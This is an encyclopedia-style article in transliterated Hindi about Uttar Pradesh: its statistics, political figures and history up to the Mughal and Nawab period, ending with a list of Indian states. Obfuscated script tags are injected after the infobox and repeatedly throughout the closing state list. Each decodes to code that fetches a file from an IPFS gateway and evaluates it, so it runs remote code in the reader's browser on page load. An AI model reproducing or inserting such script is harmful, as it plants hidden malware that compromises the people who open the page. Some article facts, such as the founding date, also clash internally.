उत्तर प्रदेश

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uttar pradesh
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rajadhani	lakhanoo
rajabhasha(ean)	hindi bhasha, urdoo bhasha
sthapana	12 zanavari, 1950
janasankhya	19,95,81,477
· ghanatv	828 /varg kimi
kshetraphal	2,40,928 varg kimi
jalavayu	ushnadeshiy manasoon
tapaman	31 °C
· grishm	46 °C
· sharad	5°C
mandal	18
zile	75
sabase b da nagar	kanapur
mahanagar	kanapur
b de nagar	lakhanoo, ilahabad, agara, merath, varanasi, gaziyabad, kanapur
mukhy aitihasik sthal	varanasi, agara, ilahabad, kannauj, kushinagar, kaushambi, chitrakoot, jhaansi, faizabad, merath, mathura
mukhy paryatan sthal	mathura, vrindavan, agara, varanasi, ayodhya, chitrakoot, fatehapur sikari, saranath, shravasti, kushinagar
mukhy dharm-sampraday	hindoo, islam, eesaee, bauddh, jain evan any
liang anupat	1000:908 ♂/♀
saksharata	69.72%
· stri	59.26%
· purush	79.24%
uchch nyayalay	ilahabad
rajyapal	bi. el. joshi
mukhyamantri	akhilesh yadav
vidhanasabha sadasy	404
vidhan parishad sadasy	100
lokasabha kshetr	80
bahari k diyaan	adhikarik vebasait
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh bharat ki janasankhya ke adhar par sabase b da rajy hai. lakhanoo pradesh ki prashasanik rajadhani aur ilahabad nyayik rajadhani hai. uttar pradesh ke doosare mahattvapoorn nagar- agara, mathura, aligadh, ayodhya, bareli, merath, varanasi (banaras), gorakhapur, gaziyabad, muradabad, saharanapur, faizabad aur kanapur adi haian. is rajy ke p dosi rajy haian- uttaraanchal, himachal pradesh, hariyana, dilli, rajasthan, madhy pradesh, chhattisagadh, jharakhand aur bihar. uttar pradesh ki poorvottar disha mean nepal desh hai. uttar pradesh ka kshetraphal 2,40,927 varg ki.mi. hai. yah bharat ka sarvadhik janasankhya vala rajy hai. 9 navambar, 2000 ko isamean se alag karake uttaraanchal rajy ka gathan kiya gaya tha. 26 janavari, 1950 ko bharat ke ganatantr banane par rajy ko apana vartaman nam "uttar pradesh" mila tha.

saghan abadi

uttar pradesh saghan abadi vale ganga nadi aur yamuna nadi ke maidan mean basa hai. lagabhag 16 karo d ki janasankhya ke sath uttar pradesh keval bharat hi nahian, balki vishv ki sarvadhik abadi vala uparashtriy pradesh hai. samooche vishv ke sirf paanch rashtroan chin, bharat, sanyukt amarika, iandonishiya aur brazil ki janasankhya hi uttar-pradesh ki janasankhya se adhik hai. uttar pradesh ka bharatiy evan hindoo dharm ke itihas mean bahut yogadan hai. uttar pradesh adhunik itihas aur rajaniti ka sadaiv se kendr bindu raha hai. yahaan ke nivasiyoan ne svatantrata sangram andolan mean pramukh bhoomika nibhayi thi. ilahabad shahar mean vikhyat netaoan- motilal neharoo, purushottamadas tandan aur lalabahadur shastri adi pramukh netaoan ka ghar tha. yah shahar desh ke ath pradhanamantriyoan- javaharalal neharoo, iandira gaandhi, lalabahadur shastri, chaudhari charan sianh, vishvanath pratap sianh, chandrashekhar sianh, rajiv gaandhi aur atal bihari vajapeyi ka chunav kshetr bhi raha hai. iandira gaandhi ke putr svargiy sanjay gaandhi ka chunav-kshetr bhi yahi tha aur ajakal bhoo.poo. pradhanamantri sv. rajiv gaandhi ki patni shrimati soniya gaandhi bhi rayabareli se chunav l datian haian aur unake putr rahul gaandhi bhi amethi se chunav l date haian.

itihas

uttar pradesh ka itihas bahut prachin hai. uttar pradesh ke itihas ko paanch kaloan mean baanta ja sakata hai-pragaitihasik evan pauranik kal (lagabhag 600 ee.poo. tak), bauddh-hindoo (brahman) kal (lagabhag 600 ee.poo. se lagabhag 1200 ee.), muslim kal (lagabhag 1200 se 1775 ee.), british kal (lagabhag 1775 se 1947 ee.), svatantrata pashchat ka kal (1947 se vartaman tak). ganga ke maidan ke bichoanbich ki apani sthiti ke karan uttar pradesh samooche uttari bharat ke itihas ka kendr bindu raha hai. uttar vaidik kal mean ise 'braharshi desh' ya 'madhy desh' ke nam se jana jata tha. uttar pradesh vaidik kal mean kee mahan rrishi-muniyoan, jaise - bharadvaj, gautam, yajnavalky, vasishth, vishvamitr aur valmiki adi ki tapobhoomi raha hai. kee pavitr pustakoan ki rachana bhi yahian huee. bharat ke do mukhy mahakavy ramayan aur mahabharat ki katha bhi yahian ki hai. [[chitr:Vishwanath-Temple-Varanasi.jpg|thumb|left|vishvanath mandir, varanasi
Vishwanath Temple, Varanasi]]

eesa poorv chhathi shatabdi mean uttar pradesh mean do ne dharmoan - jain aur bauddh ka vikas hua. buddh ne apana pratham upadesh saranath mean diya aur bauddh dharm ki shuruat ki. uttar pradesh ke hi kushinagar mean unhoanne nirvan prapt kiya. uttar pradesh ke kee nagar jaise- ayodhya, prayag, varanasi aur mathura vidya adhyayan ke lie prasiddh keandr the. madhy kal mean uttar pradesh muslim shasakoan ke adhin ho gaya tha, jisase hindoo aur islam dharm ke pas ane se ek nee mili-juli sanskriti ka vikas hua. tulasidas, sooradas, ramanand aur unake muslim shishy kabir ke atirikt any kee sant purushoan ne hindi aur any bhashaoan ke vikas mean apana bahumooly yogadan diya.

uttar pradesh ka itihas lagabhag 4000 varsh purana hai, jab ary yahaan aye aur vaidik sabhyata ka arambh hua, tabhi se yahaan ka itihas milata hai. ary sindhu aur sataluj ke maidani bhagoan se yamuna aur ganga ke maidani bhag ki or badhe. inhoanne yamuna aur ganga ke maidani bhag aur ghaghara kshetr ko apana ghar banaya. inhian aryoan ke nam par bharat desh ka nam 'aryavart' athava 'bharatavarsh' (bharat aryoan ke ek chakravarti raja the, jinake nam aur khyati se yah desh bharatavarsh ke nam se jana gaya) p da.

pragaitihasik evan pauranik kal

puratattv ne uttar pradesh ki arambhik sabhyata par nee raushani dali hai. dakshini zile pratapagadh mean paee gee manav khop diyoan ke avashesh lagabhag 10,000 ee. poo. ke batae ge haian. vaidik sahity aur do mahakavyoan, ramayan v mahabharat se is kshetr ke satavian shatabdi ee. poo. ke pahale ki janakari milati hai. jisamean ganga ke maidanoan ka varnan uttar pradesh ke antargat kiya gaya hai. mahabharat ki prishthabhoomi rajy ke pashchimi hisse hastinapur ke asapas hai, jabaki ramayan ki prishthabhoomi poorvi uttar pradesh rajy mean bhagavan ram ka janmasthan ayodhya hai. rajy mean de any pauranik srot haian-vrindavan v mathura ke asapas ke kshetr jahaan krishna ka janm hua tha.

ramayan mean hinduoan ke bhagavan ram ka prachin rajy kaushal isi kshetr mean tha, ayodhya kaushal rajy ki rajadhani thi. hindoo dharm ke anusar bhagavan vishnu ke athavean avatar bhagavan krishna ka janm uttar pradesh ke mathura shahar mean hua tha. vishv ke prachinatam nagaroan mean se ek mana jane vala varanasi shahar bhi isi pradesh mean hai. varanasi ke samip saranath ka stoop bhagavan buddh ke lie prasiddh hai. samay ke sath sath yah vishal kshetr chhote-chhote rajyoan mean vibhajit ho gaya aur gupt, maury aur kushan samrajyoan ka bhag ban gaya. 7vian shatabdi mean kannauj gupt samrajy ka pramukh kendr ban gaya tha.

bauddh-hindoo (brahman) kal

satavian shatabdi ee. poo. ke ant se bharat aur uttar pradesh ka vyavasthit itihas arambh hota hai, jab uttari bharat mean 16 mahajanapad shreshthata ki dau d mean shamil the, inamean se sat vartaman uttar pradesh ki sima ke aantargat the. buddh ne apana pahala upadesh varanasi (banaras) ke nikat saranath mean diya aur ek aise dharm ki nianv rakhi, jo n keval bharat mean, balki chin v japan jaise sudoor deshoan tak bhi phaila. kaha jata hai ki, buddh ko kushinagar mean parinirvan (sharir se mukt hone par atma ki mukti) prapt hua tha, jo poorvi zile devariya mean sthit hai. paanchavian shatabdi ee. poo. se chhathi shatabdi ee. tak uttar pradesh apani vartaman sima se bahar kendrit shaktiyoan ke niyantran mean raha, pahale magadh, jo vartaman bihar rajy mean sthit tha, aur bad mean ujjain, jo vartaman madhy pradesh rajy mean sthit hai. is rajy par shasan kar chuke is kal ke mahan shasakoan mean chandragupt pratham (shasanakal lagabhag 330-380 ee.) v ashok (shasanakal lagabhag 268 ya 265-238), jo maury samrat the aur samudragupt (lagabhag 330-380 ee.) aur chandragupt dvitiy haian (lagabhag 380-415 ee., jinhean kuchh vidvan vikramadity manate haian). ek any prasiddh shasak harshavardhan (shasanakal 606-647) the. jinhoanne kanyakubj (adhunik kannauj ke nikat) sthit apani rajadhani se samooche uttar pradesh, bihar, madhy pradesh, panjab aur rajasthan ke kuchh hissoan par shasan kiya.

is kal ke dauran bauddh aur hindoo (brahman) sanskriti, donoan ka utkarsh hua. ashok ke shasanakal ke dauran bauddh kala ke sthapaty v vastushilp pratik apane charam par pahuanche. gupt kal (lagabhag 320-550) ke dauran hindoo kala ka bhi adhikatam vikas hua. lagabhag 647 ee. mean harsh ki mrityu ke bad hindoovad ke punarutthan ke sath hi bauddh dharm ka dhire-dhire patan ho gaya. is punarutthan ke pramukh rachayita dakshin bharat mean janme shankar the, jo varanasi pahuanche, unhoanne uttar pradesh ke maidanoan ki yatra ki aur himalay mean badrinath mean prasiddh mandir ki sthapana ki. ise hindoo matavalambi chautha evan antim math (hindoo sanskriti ka kendr) manate haian.

muslim kal

is kshetr mean halaanki 1000-1030 ee. tak musalamanoan ka agaman ho chuka tha, lekin uttari bharat mean 12vian shatabdi ke antim dashak ke bad hi muslim shasan sthapit hua, jab muhammad gori ne gah davaloan (jinaka uttar pradesh par shasan tha) aur any pratispardhi vanshoan ko haraya tha. lagabhag 600 varshoan tak adhikaansh bharat ki tarah uttar pradesh par bhi kisi n kisi muslim vansh ka shasan raha, jinaka kendr dilli ya usake asapas tha. 1526 ee. mean babar ne dilli ke sultan ibrahim lodi ko haraya aur sarvadhik saphal muslim vansh, mugal vansh ki nianv rakhi. is samrajy ne 200 varshoan se bhi adhik samay tak upamahadvip par shasan kiya. is samrajy ka mahanatam kal akabar (shasanakal 1556-1605 ee.) ka kal tha, jinhoanne agara ke pas nee shahi rajadhani fatehapur sikari ka nirman kiya. unake pote shahajahaan (shasanakal 1628-1658 ee.) ne agara mean tajamahal (apani begam ki yad mean banavaya gaya maqabara, jo prasav ke dauran chal basi thian) banavaya, jo vishv ke mahanatam vastu shilpiy namoonoan mean se ek hai. shahajahaan ne agara v dilli mean bhi vastushilp ki drishti se kee mahattvapoorn imaratean banavaeean thian.

uttar pradesh mean kendrit mugal samrajy ne ek nee mishrit sanskriti ke vikas ko protsahit kiya. akabar isake mahanatam pratipadak the, jinhoanne bina kisi bhedabhav ke apane darabar mean vastushilp, sahity, chitrakala aur sangit visheshajnoan ko niyukt kiya tha. hindutv aur islam ke takarav ne kee ne matoan ka vikas kiya, jo in donoan aur bharat ki vibhinn jatiyoan ke bich am sahamati qayam karana chahate the. bhakti andolan ke sansthapak ramanand (lagabhag 1400-1470 ee.), jinaka dava tha ki, mukti liang ya jati par ashrit nahian hai aur sabhi dharmoan ke bich anivary ekata ki shiksha dene vale kabir ne uttar pradesh mean maujood dharmik sahishnuta ke khilaf apani l daee kendrit ki. 18vian shatabdi mean mugaloan ke patan ke sath hi is mishrit sanskriti ka kendr dilli se lakhanoo chala gaya, jo avadh (audh, vartaman ayodhya) ke navab ke antargat tha aur jahaan sampradayik sadabhav ke mahaul mean kala, sahity, sangit aur kavy ka utkarsh hua.

british kal

dekhean:bharat ek jhalak

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh 